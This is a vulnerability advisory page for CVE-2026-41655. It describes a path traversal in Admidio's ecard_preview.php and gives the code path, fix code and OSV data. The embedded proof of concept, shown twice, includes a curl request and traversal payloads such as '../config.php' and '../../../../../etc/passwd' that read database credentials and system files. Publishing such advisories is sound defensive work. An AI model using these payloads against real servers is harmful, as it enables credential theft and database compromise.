CVE-2026-41655: Admidio/admidio Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-m3vp-3jjm-gpmx
CVSS 6.5
CWE-22
Published
Advisory Summary

CVE-2026-41655 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio has path traversal in ecard preview that allows reading arbitrary server files including database credentials. Remediation is available by upgrading affected packages to version 5.0.9.

CVE-2026-41655 at a Glance

CVE Identifier CVE-2026-41655
GHSA Identifier GHSA-m3vp-3jjm-gpmx
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-41655

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.9
Upgrade admidio/admidio to 5.0.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41655, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.9), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `ecard_preview.php` endpoint does not validate that the `ecard_template` POST parameter is a safe filename before passing it to `ECard::getEcardTemplate()`. An authenticated user can supply a path traversal payload (e.g., `../config.php`) to read arbitrary files accessible to the web server process, including `adm_my_files/config.php` which contains database credentials. ## Details **Root Cause:** The `ecard_template` parameter is a select box whose value is only sanitized via `strStripTags()` during form validation, which does not restrict path traversal characters. Unlike `ecard_send.php` which explicitly validates the template name as a safe filename, `ecard_preview.php` omits this check entirely. **Code Path:** 1. `modules/photos/ecards.php:143-152` — The form creates a select box with template filenames from `adm_my_files/ecard_templates/`. The form object is stored in the session. 2. `modules/photos/ecard_preview.php:33-34` — The POST request is validated against the stored form object: ```php $categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']); $formValues = $categoryEditForm->validate($_POST); ``` 3. `src/UI/Presenter/FormPresenter.php:2190-2243` — The `validate()` method applies `StringUtils::strStripTags()` to all values and performs type-specific checks for `captcha`, `date`, `editor`, `email`, `number`, `url`, and `uuid` — but has **no validation case for select box values**. The attacker-controlled value `../config.php` passes through unchanged. 4. `modules/photos/ecard_preview.php:48` — The unvalidated value is passed directly to `getEcardTemplate()`: ```php $ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']); ``` 5. `src/Photos/ValueObject/ECard.php:67-77` — The filename is concatenated into the path and opened: ```php public function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string { if ($tplFolder === '') { $tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/'; } // ... $fileHandle = @fopen($tplFolder . $tplFilename, 'rb'); ``` With `$tplFilename = '../config.php'`, this resolves to `ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php` → `ADMIDIO_PATH/adm_my_files/config.php`. **Why `ecard_send.php` is NOT vulnerable:** At line 35, it independently validates the template name: ```php $postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true)); ``` This calls `strIsValidFileName()` which checks `basename($filename) !== $filename`, blocking any path traversal. The preview endpoint lacks this check. ## PoC ```bash # Step 1: Log in and visit the ecard form to create a session with a form object # Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1 # Extract the adm_csrf_token from the rendered form HTML # Step 2: Send path traversal payload to read config.php (contains DB credentials) curl -b 'PHPSESSID=<session_cookie>' \ -X POST 'https://target/modules/photos/ecard_preview.php' \ -d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview' # The response body will contain the contents of adm_my_files/config.php # rendered inside the ecard preview HTML, including: # $g_adm_srv (database host) # $g_adm_db (database name) # $g_adm_usr (database username) # $g_adm_pw (database password) # To traverse further outside adm_my_files: # ecard_template=../../system/bootstrap/constants.php (reads PHP source) # ecard_template=../../../../../etc/passwd (reads system files) ``` ## Impact - **Database credential disclosure:** Any authenticated user can read `adm_my_files/config.php`, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise. - **Source code disclosure:** Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets. - **System file disclosure:** With sufficient traversal depth (`../../../../../etc/passwd`), system files can be read, aiding further attacks. - **Low barrier to exploit:** Only requires a regular member account — no admin privileges needed. ## Recommended Fix Add filename validation to `ecard_preview.php` before passing the template name to `getEcardTemplate()`, matching the validation already present in `ecard_send.php`: ```php // In modules/photos/ecard_preview.php, add BEFORE line 48: $postTemplateName = admFuncVariableIsValid( $formValues, 'ecard_template', 'file', array('requireValue' => true) ); $ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName); ``` Alternatively, add select box value validation to `FormPresenter::validate()` to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application: ```php // In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate(): case 'select': if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) { throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label'])); } break; ```

CVE-2026-41655 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.9
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.9
5.0.9

References

Frequently Asked Questions

What is CVE-2026-41655?
CVE-2026-41655 is a security vulnerability in Admidio/admidio involving Admidio has Path Traversal in ECard Preview that Allows Reading Arbitrary Server Files Including Database Credentials under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.9 across affected packages: admidio/admidio.
What version fixes CVE-2026-41655?
Upgrading to 5.0.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.9. Upgrade your dependency to 5.0.9 or later.
What is the CVSS score of CVE-2026-41655?
CVE-2026-41655 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-41655?
CVE-2026-41655 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Packagist dependencies for CVE-2026-41655?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m3vp-3jjm-gpmx",
  "modified" : "2026-05-08T19:55:32Z",
  "published" : "2026-04-29T21:37:23Z",
  "aliases" : [ "CVE-2026-41655" ],
  "summary" : "Admidio has Path Traversal in ECard Preview that Allows Reading Arbitrary Server Files Including Database Credentials",
  "details" : "## Summary\n\nThe `ecard_preview.php` endpoint does not validate that the `ecard_template` POST parameter is a safe filename before passing it to `ECard::getEcardTemplate()`. An authenticated user can supply a path traversal payload (e.g., `../config.php`) to read arbitrary files accessible to the web server process, including `adm_my_files/config.php` which contains database credentials.\n\n## Details\n\n**Root Cause:** The `ecard_template` parameter is a select box whose value is only sanitized via `strStripTags()` during form validation, which does not restrict path traversal characters. Unlike `ecard_send.php` which explicitly validates the template name as a safe filename, `ecard_preview.php` omits this check entirely.\n\n**Code Path:**\n\n1. `modules/photos/ecards.php:143-152` — The form creates a select box with template filenames from `adm_my_files/ecard_templates/`. The form object is stored in the session.\n\n2. `modules/photos/ecard_preview.php:33-34` — The POST request is validated against the stored form object:\n```php\n$categoryEditForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);\n$formValues = $categoryEditForm->validate($_POST);\n```\n\n3. `src/UI/Presenter/FormPresenter.php:2190-2243` — The `validate()` method applies `StringUtils::strStripTags()` to all values and performs type-specific checks for `captcha`, `date`, `editor`, `email`, `number`, `url`, and `uuid` — but has **no validation case for select box values**. The attacker-controlled value `../config.php` passes through unchanged.\n\n4. `modules/photos/ecard_preview.php:48` — The unvalidated value is passed directly to `getEcardTemplate()`:\n```php\n$ecardDataToParse = $funcClass->getEcardTemplate($formValues['ecard_template']);\n```\n\n5. `src/Photos/ValueObject/ECard.php:67-77` — The filename is concatenated into the path and opened:\n```php\npublic function getEcardTemplate(string $tplFilename, string $tplFolder = ''): ?string\n{\n    if ($tplFolder === '') {\n        $tplFolder = ADMIDIO_PATH . FOLDER_DATA . '/ecard_templates/';\n    }\n    // ...\n    $fileHandle = @fopen($tplFolder . $tplFilename, 'rb');\n```\n\nWith `$tplFilename = '../config.php'`, this resolves to `ADMIDIO_PATH/adm_my_files/ecard_templates/../config.php` → `ADMIDIO_PATH/adm_my_files/config.php`.\n\n**Why `ecard_send.php` is NOT vulnerable:** At line 35, it independently validates the template name:\n```php\n$postTemplateName = admFuncVariableIsValid($_POST, 'ecard_template', 'file', array('requireValue' => true));\n```\nThis calls `strIsValidFileName()` which checks `basename($filename) !== $filename`, blocking any path traversal. The preview endpoint lacks this check.\n\n## PoC\n\n```bash\n# Step 1: Log in and visit the ecard form to create a session with a form object\n# Navigate to: /modules/photos/ecards.php?photo_uuid=<valid_album_uuid>&photo_nr=1\n# Extract the adm_csrf_token from the rendered form HTML\n\n# Step 2: Send path traversal payload to read config.php (contains DB credentials)\ncurl -b 'PHPSESSID=<session_cookie>' \\\n  -X POST 'https://target/modules/photos/ecard_preview.php' \\\n  -d 'adm_csrf_token=<csrf_token>&ecard_template=../config.php&ecard_message=test&photo_uuid=<valid_uuid>&photo_nr=1&submit_action=preview'\n\n# The response body will contain the contents of adm_my_files/config.php\n# rendered inside the ecard preview HTML, including:\n#   $g_adm_srv (database host)\n#   $g_adm_db  (database name)\n#   $g_adm_usr (database username)\n#   $g_adm_pw  (database password)\n\n# To traverse further outside adm_my_files:\n# ecard_template=../../system/bootstrap/constants.php  (reads PHP source)\n# ecard_template=../../../../../etc/passwd              (reads system files)\n```\n\n## Impact\n\n- **Database credential disclosure:** Any authenticated user can read `adm_my_files/config.php`, exposing database host, name, username, and password. If the database is network-accessible, this enables full database compromise.\n- **Source code disclosure:** Arbitrary PHP files can be read, revealing application logic, internal paths, and potentially other secrets.\n- **System file disclosure:** With sufficient traversal depth (`../../../../../etc/passwd`), system files can be read, aiding further attacks.\n- **Low barrier to exploit:** Only requires a regular member account — no admin privileges needed.\n\n## Recommended Fix\n\nAdd filename validation to `ecard_preview.php` before passing the template name to `getEcardTemplate()`, matching the validation already present in `ecard_send.php`:\n\n```php\n// In modules/photos/ecard_preview.php, add BEFORE line 48:\n$postTemplateName = admFuncVariableIsValid(\n    $formValues, 'ecard_template', 'file', array('requireValue' => true)\n);\n$ecardDataToParse = $funcClass->getEcardTemplate($postTemplateName);\n```\n\nAlternatively, add select box value validation to `FormPresenter::validate()` to verify that submitted select box values match one of the predefined options, which would protect all select boxes across the application:\n\n```php\n// In src/UI/Presenter/FormPresenter.php, inside the switch statement in validate():\ncase 'select':\n    if (isset($element['values']) && !array_key_exists($fieldValues[$element['id']], $element['values'])) {\n        throw new Exception('SYS_FIELD_INVALID_INPUT', array($element['label']));\n    }\n    break;\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-m3vp-3jjm-gpmx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41655"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-29T21:37:23Z",
    "nvd_published_at" : "2026-05-07T04:16:28Z"
  }
}